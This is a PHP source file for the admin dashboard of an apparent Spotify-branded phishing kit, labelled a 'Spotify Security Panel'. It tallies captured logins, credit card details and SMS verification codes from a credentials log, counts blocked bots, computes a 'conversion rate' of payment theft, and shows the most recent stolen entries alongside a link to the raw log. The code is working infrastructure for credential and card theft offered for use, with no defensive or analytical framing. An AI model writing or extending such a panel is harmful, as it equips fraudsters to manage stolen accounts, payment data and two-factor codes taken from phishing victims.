<?php
/**
 * Panel Dashboard
 * Advanced statistics and analytics
 */

require_once 'auth.php';

// Get statistics
function getStats() {
    $stats = [
        'total_visits' => 0,
        'total_logins' => 0,
        'total_payments' => 0,
        'total_sms' => 0,
        'total_blocked' => 0,
        'countries' => [],
        'recent_activity' => []
    ];
    
    // Count visits
    $visitsFile = __DIR__ . '/../logs/visits.log';
    if (file_exists($visitsFile)) {
        $stats['total_visits'] = count(file($visitsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
    }
    
    // Count credentials
    $credsFile = __DIR__ . '/../logs/credentials.log';
    if (file_exists($credsFile)) {
        $lines = file($credsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            if (strpos($line, 'LOGIN CAPTURED') !== false) {
                $stats['total_logins']++;
            } elseif (strpos($line, 'CREDIT CARD CAPTURED') !== false || strpos($line, 'PAYMENT') !== false) {
                $stats['total_payments']++;
            } elseif (strpos($line, 'SMS') !== false || strpos($line, 'VERIFICATION') !== false) {
                $stats['total_sms']++;
            }
        }
    }
    
    // Count blocked bots
    $botsFile = __DIR__ . '/../logs/bots.log';
    if (file_exists($botsFile)) {
        $stats['total_blocked'] = count(file($botsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
    }
    
    // Get recent activity (last 10)
    if (file_exists($credsFile)) {
        $lines = file($credsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $stats['recent_activity'] = array_slice(array_reverse($lines), 0, 10);
    }
    
    return $stats;
}

$stats = getStats();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard - Spotify Panel</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #f5f5f5;
            min-height: 100vh;
        }
        
        .header {
            background: linear-gradient(135deg, #1DB954 0%, #191414 100%);
            color: white;
            padding: 20px 30px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
        }
        
        .header-content {
            max-width: 1400px;
            margin: 0 auto;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header h1 {
            font-size: 24px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .user-info {
            display: flex;
            align-items: center;
            gap: 20px;
        }
        
        .user-info span {
            opacity: 0.9;
        }
        
        .logout-btn {
            background: rgba(255, 255, 255, 0.2);
            color: white;
            padding: 8px 16px;
            border-radius: 6px;
            text-decoration: none;
            transition: all 0.3s;
        }
        
        .logout-btn:hover {
            background: rgba(255, 255, 255, 0.3);
        }
        
        .container {
            max-width: 1400px;
            margin: 30px auto;
            padding: 0 30px;
        }
        
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .stat-card {
            background: white;
            padding: 25px;
            border-radius: 12px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
            transition: all 0.3s;
        }
        
        .stat-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 5px 20px rgba(0, 0, 0, 0.1);
        }
        
        .stat-icon {
            font-size: 32px;
            margin-bottom: 10px;
        }
        
        .stat-value {
            font-size: 36px;
            font-weight: bold;
            color: #1DB954;
            margin-bottom: 5px;
        }
        
        .stat-label {
            color: #666;
            font-size: 14px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .chart-container {
            background: white;
            padding: 25px;
            border-radius: 12px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
            margin-bottom: 30px;
        }
        
        .chart-title {
            font-size: 18px;
            font-weight: 600;
            margin-bottom: 20px;
            color: #333;
        }
        
        .activity-list {
            list-style: none;
        }
        
        .activity-item {
            padding: 15px;
            border-bottom: 1px solid #f0f0f0;
            font-size: 13px;
            color: #666;
            font-family: 'Courier New', monospace;
        }
        
        .activity-item:last-child {
            border-bottom: none;
        }
        
        .activity-item:hover {
            background: #f9f9f9;
        }
        
        .nav-tabs {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            border-bottom: 2px solid #e0e0e0;
        }
        
        .nav-tab {
            padding: 12px 24px;
            background: none;
            border: none;
            color: #666;
            cursor: pointer;
            font-size: 14px;
            font-weight: 600;
            transition: all 0.3s;
            border-bottom: 3px solid transparent;
            margin-bottom: -2px;
        }
        
        .nav-tab:hover {
            color: #1DB954;
        }
        
        .nav-tab.active {
            color: #1DB954;
            border-bottom-color: #1DB954;
        }
        
        .quick-actions {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-bottom: 30px;
        }
        
        .action-btn {
            background: white;
            padding: 15px 20px;
            border-radius: 8px;
            text-decoration: none;
            color: #333;
            display: flex;
            align-items: center;
            gap: 10px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
            transition: all 0.3s;
        }
        
        .action-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            color: #1DB954;
        }
        
        .refresh-btn {
            position: fixed;
            bottom: 30px;
            right: 30px;
            background: #1DB954;
            color: white;
            width: 60px;
            height: 60px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            box-shadow: 0 5px 20px rgba(29, 185, 84, 0.3);
            cursor: pointer;
            transition: all 0.3s;
            border: none;
        }
        
        .refresh-btn:hover {
            transform: scale(1.1) rotate(180deg);
        }
        
        @media (max-width: 768px) {
            .header-content {
                flex-direction: column;
                gap: 15px;
                text-align: center;
            }
            
            .stats-grid {
                grid-template-columns: 1fr;
            }
            
            .container {
                padding: 0 15px;
            }
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="header-content">
            <h1>
                <span>🎵</span>
                Spotify Security Panel
            </h1>
            <div class="user-info">
                <span>👤 <?php echo htmlspecialchars($currentUser); ?></span>
                <a href="logout.php" class="logout-btn">🚪 Logout</a>
            </div>
        </div>
    </div>
    
    <div class="container">
        <div class="quick-actions">
            <a href="panel.php" class="action-btn">
                <span>🎮</span>
                <span>Control Panel</span>
            </a>
            <a href="settings.php" class="action-btn">
                <span>⚙️</span>
                <span>Settings</span>
            </a>
            <a href="stats/index.php" class="action-btn">
                <span>📊</span>
                <span>Detailed Stats</span>
            </a>
            <a href="../logs/credentials.log" class="action-btn" target="_blank">
                <span>📝</span>
                <span>View Logs</span>
            </a>
            <a href="api.php" class="action-btn">
                <span>🔗</span>
                <span>API Docs</span>
            </a>
            <a href="geolocation.php" class="action-btn">
                <span>🌍</span>
                <span>Geolocation</span>
            </a>
        </div>
        
        <div class="stats-grid">
            <div class="stat-card">
                <div class="stat-icon">👥</div>
                <div class="stat-value"><?php echo number_format($stats['total_visits']); ?></div>
                <div class="stat-label">Total Visits</div>
            </div>
            
            <div class="stat-card">
                <div class="stat-icon">🔐</div>
                <div class="stat-value"><?php echo number_format($stats['total_logins']); ?></div>
                <div class="stat-label">Login Attempts</div>
            </div>
            
            <div class="stat-card">
                <div class="stat-icon">💳</div>
                <div class="stat-value"><?php echo number_format($stats['total_payments']); ?></div>
                <div class="stat-label">Payment Info</div>
            </div>
            
            <div class="stat-card">
                <div class="stat-icon">📱</div>
                <div class="stat-value"><?php echo number_format($stats['total_sms']); ?></div>
                <div class="stat-label">SMS Codes</div>
            </div>
            
            <div class="stat-card">
                <div class="stat-icon">🛡️</div>
                <div class="stat-value"><?php echo number_format($stats['total_blocked']); ?></div>
                <div class="stat-label">Bots Blocked</div>
            </div>
            
            <div class="stat-card">
                <div class="stat-icon">✅</div>
                <div class="stat-value"><?php echo $stats['total_logins'] > 0 ? round(($stats['total_payments'] / $stats['total_logins']) * 100) : 0; ?>%</div>
                <div class="stat-label">Conversion Rate</div>
            </div>
        </div>
        
        <div class="chart-container">
            <div class="chart-title">📊 Recent Activity</div>
            <ul class="activity-list">
                <?php if (empty($stats['recent_activity'])): ?>
                    <li class="activity-item">No activity yet...</li>
                <?php else: ?>
                    <?php foreach ($stats['recent_activity'] as $activity): ?>
                        <li class="activity-item"><?php echo htmlspecialchars($activity); ?></li>
                    <?php endforeach; ?>
                <?php endif; ?>
            </ul>
        </div>
        
        <div class="chart-container">
            <div class="chart-title">ℹ️ System Information</div>
            <div style="padding: 15px; background: #f9f9f9; border-radius: 8px; font-size: 14px; color: #666;">
                <p style="margin-bottom: 10px;"><strong>Server Time:</strong> <?php echo date('Y-m-d H:i:s'); ?></p>
                <p style="margin-bottom: 10px;"><strong>PHP Version:</strong> <?php echo phpversion(); ?></p>
                <p style="margin-bottom: 10px;"><strong>Server IP:</strong> <?php echo isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A'; ?></p>
                <p style="margin-bottom: 10px;"><strong>Your IP:</strong> <?php echo $_SERVER['REMOTE_ADDR']; ?></p>
                <p><strong>Session Started:</strong> <?php echo date('Y-m-d H:i:s', $_SESSION['login_time']); ?></p>
            </div>
        </div>
    </div>
    
    <button class="refresh-btn" onclick="location.reload();" title="Refresh Dashboard">
        🔄
    </button>
    
    <script>
        // Auto-refresh every 30 seconds
        setTimeout(function() {
            location.reload();
        }, 30000);
    </script>
</body>
</html>
